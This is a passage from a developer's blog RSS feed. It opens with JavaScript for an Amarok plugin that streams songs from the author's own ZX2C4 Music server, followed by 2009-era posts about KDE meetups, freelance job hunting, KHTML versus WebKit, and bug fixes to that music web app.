	<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> songs.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> j <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> j <span style="color: #339933;">&lt;</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> j<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			decoder.<span style="color: #660066;">setHtml</span><span style="color: #009900;">&#40;</span>songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> decoder.<span style="color: #660066;">toPlainText</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	onPopulate<span style="color: #009900;">&#40;</span>delayedArgs<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> delayedArgs<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> delayedArgs<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">function</span> onPopulate<span style="color: #009900;">&#40;</span>level<span style="color: #339933;">,</span> callback<span style="color: #339933;">,</span> filter<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>songs <span style="color: #339933;">==</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		delayedArgs <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span>level<span style="color: #339933;">,</span> callback<span style="color: #339933;">,</span> filter<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #003366; font-weight: bold;">new</span> Downloader<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">new</span> QUrl<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;http://music.zx2c4.com/getlisting.php?username=TOP&amp;password=SECRET&amp;language=javascript&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> receiveDatabase<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		Amarok.<span style="color: #660066;">Window</span>.<span style="color: #660066;">Statusbar</span>.<span style="color: #660066;">shortMessage</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;ZX2C4 Music collection is loading...&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>level <span style="color: #339933;">==</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> splitCallback <span style="color: #339933;">=</span> callback.<span style="color: #660066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&amp;*/ZX2C4MUSICSPLITTER/*&amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003366; font-weight: bold;">var</span> notFirst <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> songs.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> splitCallback<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;&amp;</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> splitCallback<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				notFirst <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">;</span>
				<span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #339933;">=</span> Amarok.<span style="color: #660066;">StreamItem</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">level</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">itemName</span> <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">playableUrl</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;http://music.zx2c4.com/getsong.php?username=TOP&amp;password=SECRET&amp;transcode=false&amp;hash=&quot;</span> <span style="color: #339933;">+</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">album</span> <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">artist</span> <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">track</span> <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">infoHtml</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">callbackData</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				script.<span style="color: #660066;">insertItem</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>notFirst<span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #000066; font-weight: bold;">break</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>level <span style="color: #339933;">==</span> <span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> lastAlbum<span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> songs.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>callback <span style="color: #339933;">==</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;&amp;</span> lastAlbum <span style="color: #339933;">!=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				lastAlbum <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #339933;">=</span> Amarok.<span style="color: #660066;">StreamItem</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">level</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">itemName</span> <span style="color: #339933;">=</span> lastAlbum<span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">playableUrl</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">infoHtml</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">callbackData</span> <span style="color: #339933;">=</span> callback <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;&amp;*/ZX2C4MUSICSPLITTER/*&amp;&quot;</span> <span style="color: #339933;">+</span> lastAlbum<span style="color: #339933;">;</span>
				script.<span style="color: #660066;">insertItem</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>level <span style="color: #339933;">==</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> lastArtist<span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> songs.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>lastArtist <span style="color: #339933;">!=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				lastArtist <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #339933;">=</span> Amarok.<span style="color: #660066;">StreamItem</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">level</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">itemName</span> <span style="color: #339933;">=</span> lastArtist<span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">playableUrl</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">infoHtml</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">callbackData</span> <span style="color: #339933;">=</span> lastArtist<span style="color: #339933;">;</span>
				script.<span style="color: #660066;">insertItem</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	script.<span style="color: #660066;">donePopulating</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">var</span> script <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> ZX2C4Music<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
script.<span style="color: #660066;">populate</span>.<span style="color: #660066;">connect</span><span style="color: #009900;">&#40;</span>onPopulate<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/125#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=125" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/125/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>New York City KDE Group</title>
		<link>http://blog.zx2c4.com/115</link>
		<comments>http://blog.zx2c4.com/115#comments</comments>
		<pubDate>Fri, 10 Apr 2009 00:37:43 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=115</guid>
		<description><![CDATA[At our KDE 4.2 release party, many of you voiced desire to have more frequent NYC meetings to talk about all things KDE. So, what dates work for those of you still interested? Update: Possibly this coming week we&#8217;ll meet. Anyone know of good coffee shops in Manhattan that have wifi? Or perhaps I can [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/115#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=115" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>At our KDE 4.2 release party, many of you voiced desire to have more frequent NYC meetings to talk about all things KDE. So, what dates work for those of you still interested?</p>
<p><strong>Update</strong>: Possibly this coming week we&#8217;ll meet. Anyone know of good coffee shops in Manhattan that have wifi? Or perhaps I can procure a spot in a Columbia building&#8230;</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/115#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=115" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/115/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Finding Freelance Jobs</title>
		<link>http://blog.zx2c4.com/118</link>
		<comments>http://blog.zx2c4.com/118#comments</comments>
		<pubDate>Wed, 08 Apr 2009 21:26:33 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Jobs]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=118</guid>
		<description><![CDATA[Dear PlanetKDE, I&#8217;m just a student, but I can build just about anything with code. The problem is that people in the industry disregard me because I&#8217;m young. I also doesn&#8217;t have many &#8220;contacts&#8221; or &#8220;networks&#8221; for shmoozing up. I am, however, looking for a lucrative freelance coding job for this summer. So I&#8217;m wondering [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/118#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=118" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Dear PlanetKDE,</p>
<p>I&#8217;m just a student, but I can build just about anything with code. The problem is that people in the industry disregard me because I&#8217;m young. I also doesn&#8217;t have many &#8220;contacts&#8221; or &#8220;networks&#8221; for shmoozing up. I am, however, looking for a lucrative freelance coding job for this summer.</p>
<p>So I&#8217;m wondering &#8211; amongst those of you who have been in a similar predicament, how have you gone about finding programming gigs?</p>
<p>A related question: does anybody hire KDE programmers? </p>
<p>Sincerely,<br />
Unemployed</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/118#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=118" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/118/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>WebKit in Konqueror/KDE</title>
		<link>http://blog.zx2c4.com/96</link>
		<comments>http://blog.zx2c4.com/96#comments</comments>
		<pubDate>Wed, 18 Feb 2009 02:40:45 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=96</guid>
		<description><![CDATA[Dear PlanetKDE/Lazyweb, I am curious about the future of KHTML in the face of WebKit. Three questions come to mind: Why does KDE use KHTML when WebKit is faster, more compatible, etc? Why does Konqueror use KHTML as default instead of WebKit? Will KHTML be moved out of the main tree? As far as I [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/96#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=96" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Dear PlanetKDE/Lazyweb,</p>
<p>I am curious about the future of KHTML in the face of WebKit. Three questions come to mind:</p>
<ol>
<li>Why does KDE use KHTML when WebKit is faster, more compatible, etc?</li>
<li>Why does Konqueror use KHTML as default instead of WebKit?</li>
<li>Will KHTML be moved out of the main tree?</li>
</ol>
<p>As far as I can see, it is commonly accepted fact that WebKit is a faster and more compatible engine than KHTML. WebKit was ported to Qt in 4.4, and Qt 4.5 provides some critical enhancements. From these two points, the three questions above naturally follow. If the situation for KHTML was completely hopeless, then it never would have made KDE 4.0 or the present API would be converted into a wrapper for QtWebKit. But this is not the case, so presumably the KHTML team has high hopes for the project. I wonder what the team&#8217;s response is to these questions. Undoubtedly they have thought a lot about KHTML vs WebKit and find WebKit a worthwhile project. What&#8217;s the deal?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/96#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=96" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/96/feed</wfw:commentRss>
		<slash:comments>58</slash:comments>
		</item>
		<item>
		<title>KDE 4.2 Release in New York City</title>
		<link>http://blog.zx2c4.com/80</link>
		<comments>http://blog.zx2c4.com/80#comments</comments>
		<pubDate>Sun, 25 Jan 2009 23:45:12 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=80</guid>
		<description><![CDATA[Anybody interested in some sort of NYC release event for 4.2? If so, leave a comment and maybe if there&#8217;s enough interest we&#8217;ll organize something. Update: There will be a KDE 4.2 release event at the Hungarian Pastry Shop on 1030 Amsterdam Avenue (between west 110th and 111th) at 8pm on January 28th. Visit wiki [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/80#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=80" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Anybody interested in some sort of NYC release event for 4.2? If so, leave a comment and maybe if there&#8217;s enough interest we&#8217;ll organize something.</p>
<p><b>Update:</b><br />
There will be a KDE 4.2 release event at <a href="http://maps.google.com/maps?f=q&#038;source=s_q&#038;hl=en&#038;geocode=&#038;q=1030+Amsterdam+Ave+(the+Hungarian+Pastry+Shop)&#038;sll=40.808222,-73.974552&#038;sspn=0.081986,0.127888&#038;ie=UTF8&#038;ll=40.804568,-73.962557&#038;spn=0.010249,0.015986&#038;z=16&#038;iwloc=r0" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/maps?f=q_038_source=s_q_038_hl=en_038_geocode=_038_q=1030+Amsterdam+Ave+_the+Hungarian+Pastry+Shop_038_sll=40.808222_-73.974552_038_sspn=0.081986_0.127888_038_ie=UTF8_038_ll=40.804568_-73.962557_038_spn=0.010249_0.015986_038_z=16_038_iwloc=r0&amp;referer=');">the Hungarian Pastry Shop on 1030 Amsterdam Avenue (between west 110th and 111th)</a> at <b>8pm</b> on <b>January 28th</b>. Visit <a href="http://wiki.kde.org/tiki-index.php?page=KDE+4.2+Release+Party#_United_States_New_York_NY" onclick="pageTracker._trackPageview('/outgoing/wiki.kde.org/tiki-index.php?page=KDE+4.2+Release+Party_United_States_New_York_NY&amp;referer=');">wiki information</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/80#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=80" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/80/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Promised Bug Fixes</title>
		<link>http://blog.zx2c4.com/67</link>
		<comments>http://blog.zx2c4.com/67#comments</comments>
		<pubDate>Sun, 21 Dec 2008 11:59:00 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ZX2C4 Music]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=67</guid>
		<description><![CDATA[I just fixed four major blockers in ZX2C4 Music. I also moved the source into a public git. Prior to the fix, only one php page could load at a time. When requesting a second php page while one was loading, the request would hang until the previous one had completed. This is not terribly [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/67#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=67" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I just fixed four major blockers in <a href="http://blog.zx2c4.com/14">ZX2C4 Music</a>. I also moved the source into a <a href="http://git.zx2c4.com/?p=zx2c4music.git" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git&amp;referer=');">public git</a>.</p>
<p>Prior to the fix, only one php page could load at a time. When requesting a second php page while one was loading, the request would hang until the previous one had completed. This is not terribly problematic for ordinary web pages, but because I use php for file downloads, the entire web app would hang until the file had completed downloading. Bad news bears. After a lot of difficult debugging, tcpdumps, header inspects, ps aux, etc, I discovered the problem to be with session_start(). It turns out that only one session can be opened for writing at a time per session cookie, which means for a single user, php will only allow pages to write to his session one at a time. The solution was to call session_write_close() immediately after editing the last $_SESSION variable.</p>
<p>Some media players had trouble seeking in streams from the php file streamer because of bad http header range support. The sendFile() is now HTTP/1.1 compliant. Although, I&#8217;d like to add some caching support at some point.</p>
<p>Finally, and most notably, ZX2C4 Music no longer hangs when loading giant lists. It now loads 50 items at a time, and polls the location of the scrollbar every 100 milliseconds, and if it is close to the bottom, it requests the next 50 items. Polling is not ideal, but JavaScript does not have scroll events for divs. The pagination is implemented using MySQL&#8217;s LIMIT and OFFSET features. The display code took quite a bit of reworking and might still be a little buggy. Do try it out. Internet Explorer requires a special case because of its lack of support for writing to tables&#8217; innerHTML, and Microsoft <a href="https://connect.microsoft.com/IE/feedback/ViewFeedback.aspx?FeedbackID=336254" onclick="pageTracker._trackPageview('/outgoing/connect.microsoft.com/IE/feedback/ViewFeedback.aspx?FeedbackID=336254&amp;referer=');">refuses</a> <a href="http://webbugtrack.blogspot.com/2007/12/bug-210-no-innerhtml-support-on-tables.html" onclick="pageTracker._trackPageview('/outgoing/webbugtrack.blogspot.com/2007/12/bug-210-no-innerhtml-support-on-tables.html?referer=');">to</a> <a href="http://alexle.net/archives/150" onclick="pageTracker._trackPageview('/outgoing/alexle.net/archives/150?referer=');">fix</a> <a href="http://support.microsoft.com/kb/239832" onclick="pageTracker._trackPageview('/outgoing/support.microsoft.com/kb/239832?referer=');">it</a>. When adding an entire list to the download basket, it takes the time to download and display every item in the query, like the old behavior, and this may introduce some bugs. For the most part though, scrolling auto-pagination support is generally pretty slick.</p>
<p>The download basket/zip feature is no longer capped at 200 songs, as it no longer needs to call an external zip program and store the zip file temporarily. In pure php, I&#8217;ve written a custom on-the-fly zip file streamer, which works a lot faster.</p>
<p>As always, if you have suggestions, leave a comment below. If you&#8217;d like to download the latest HEAD of ZX2C4 Music, you can browse the repository <a href="http://git.zx2c4.com/?p=zx2c4music.git;a=summary" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=summary&amp;referer=');">here</a> or download a tar of it <a href="http://git.zx2c4.com/?p=zx2c4music.git;a=snapshot;h=HEAD;sf=tgz" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=snapshot_h=HEAD_sf=tgz&amp;referer=');">here</a>. Next on the list are HTML5 &lt;audio&gt; element support for web app streaming, Amarok plugin, update script, and maybe a revamped interface. </p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/67#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=67" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/67/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Auto-Sizing Columns</title>
		<link>http://blog.zx2c4.com/35</link>
		<comments>http://blog.zx2c4.com/35#comments</comments>
		<pubDate>Sat, 29 Nov 2008 05:19:52 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ZX2C4 Music]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=35</guid>
		<description><![CDATA[Here&#8217;s a curious problem I&#8217;ve come across: There are N columns in a table of width W, with each column having content that requires a maximum width of M1, M2, M3, &#8230; , MN, where M1 + M2 + M3 + &#8230; + MN &#62; W. Find an optimal size, O1, O2, O3, &#8230; , [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/35#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=35" style="border:0;" /></a></div>]]></description>
